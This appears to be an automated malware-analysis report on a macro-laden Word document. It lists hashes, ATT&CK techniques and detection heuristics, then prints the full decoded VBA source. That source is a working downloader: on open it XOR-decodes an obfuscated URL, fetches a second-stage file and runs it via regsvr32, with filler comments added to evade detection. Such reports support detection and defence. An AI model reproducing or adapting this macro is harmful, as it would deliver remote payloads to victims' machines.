Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 18ec82766533f228…

MALICIOUS

Office (OOXML)

115.6 KB Created: 2020-07-24 08:52:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: cd2280bf1febcc4a7cd8e62abf68645b SHA-1: 7677b0e8282c08afa14160df50d0e5e658e403b9 SHA-256: 18ec82766533f228240fa837ee8fc2799c3a32708e9403514f9e2ec8a01421cf
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is designed to execute a function that decodes a URL and filename, then uses URLDownloadToFile to download a second-stage payload named 'x6.pdf'. Finally, it executes the downloaded file using WshShell. The presence of the AutoOpen macro and the URLDownloadToFile function strongly indicate a downloader pattern.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal vJ As LongPtr, ByVal QA As String, ByVal P8 As String, ByVal CF As LongPtr, ByVal rj As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    QR = fI(n)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3790 bytes
SHA-256: b8748fd2536950c4a5b1b35ec5901247303b7dd8aee6fc1c6a042eb9058994d1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uW"
Public Const wx As String = "x6.pdf"
Function fI(TG)
jE = d(TG)
For wQ = 0 To UBound(jE)
 FO = FO & Chr(jE(wQ) Xor 111)
Next wQ
fI = FO
End Function
Sub autoopen()
QR = fI(n)

' Burn
' Cumbersome northeast gaming marcel scripting
' Development
frm.download QR, wx

' Pursuant polytheism orders obtainable
' Ribbon plc prevalence
' Fin pcb flagship modena archibald
' Cities

' Fixes nam skylight libels background holding

' Continue signing arrant off phrases estimation
' Beautiful observed knee iota

' Icao cunt newer
' Carinthia
' Hie illiberal buckler exercise laud
' Metallic buffer rings
' Reedy copy
' Diamonds prevention
' Zoloft talented abashed collusion predict

' Buttermilk success bhutan recorder
' Uses damaged uc anointing
' Contractor heartache
Dim Yu As New WshShell

' Projectile protected carve
Call Yu.run(Q & fY & " " + wx)

' Involving chaotic
End Sub

Attribute VB_Name = "uW1"
Function y(gc)

' Widen grandchildren dating wag york
' Pod stench fondle
' Abodes
End Function
Sub dA(E7)

' Jumble exaggerate complexity
' Conference beverage foreword setting
' Inside plowing isbn mine bat cheque
' Assist latticed communication feeding

' Climate visibility catalog prosy gelatine

' Old-time un repellent insufferable pets gretchen underground
' Remnants durable touch know
' Sort convulsive hobby ephesians chem
' Cleaner truth sulkily citation

' Lauren
' Univ parks
' Beautiful
' Involvement longevity hip reunion interpreted bun

' Validation puddles prison
' Credence capabilities

' Developmental
' Stem promotes
' Saracen receptor climate
' Spry
' Emulate emblematic aquatic ultimately chief memorial

' 404 seasonal
' Trips others jerry
' Awarded hard-headed arterial recommendations
' Examines cyprus myanmar dash mt

' Southwest throat turbid mown
' Payments resource
' Mini diffidence skiing
' Partnership mb
' Uk sucks reasonable enables protuberance

' Killer
' Dinghy
' Cocks leasing middle

' Southampton umpire reading vom
' Beehive conclave separates
' Sum

' Unrelated climber cgi
' Static citizen stocks
' Antiseptic rapturous samurai aden luther
' Fishing za pe

' Breaker mite energy
' Lists starred qualities rc fraternity
' July equitable slovakia dividend taste
End Sub

Attribute VB_Name = "TS"
Public Const Q As String = "reg"
Public Const fY As String = "svr32"
Public Const n As String = "7_27_27_31_85_64_64_8_87_8_5_93_95_27_7_88_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_94_93_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal vJ As LongPtr, ByVal QA As String, ByVal P8 As String, ByVal CF As LongPtr, ByVal rj As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal vJ As Long, ByVal QA As String, ByVal P8 As String, ByVal CF As Long, ByVal rj As Long) As Long
#End If
Function d(Hj)
d = Split(Hj, "_")
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{FB9CC292-7D95-4C80-8AAB-CBF84CB6314C}{B9F7D13A-4EA6-4669-ACB2-E7511C80FEC5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 31b311d95150c34c859897a92bca9cb414a3128d348594e184b60697500fd8f3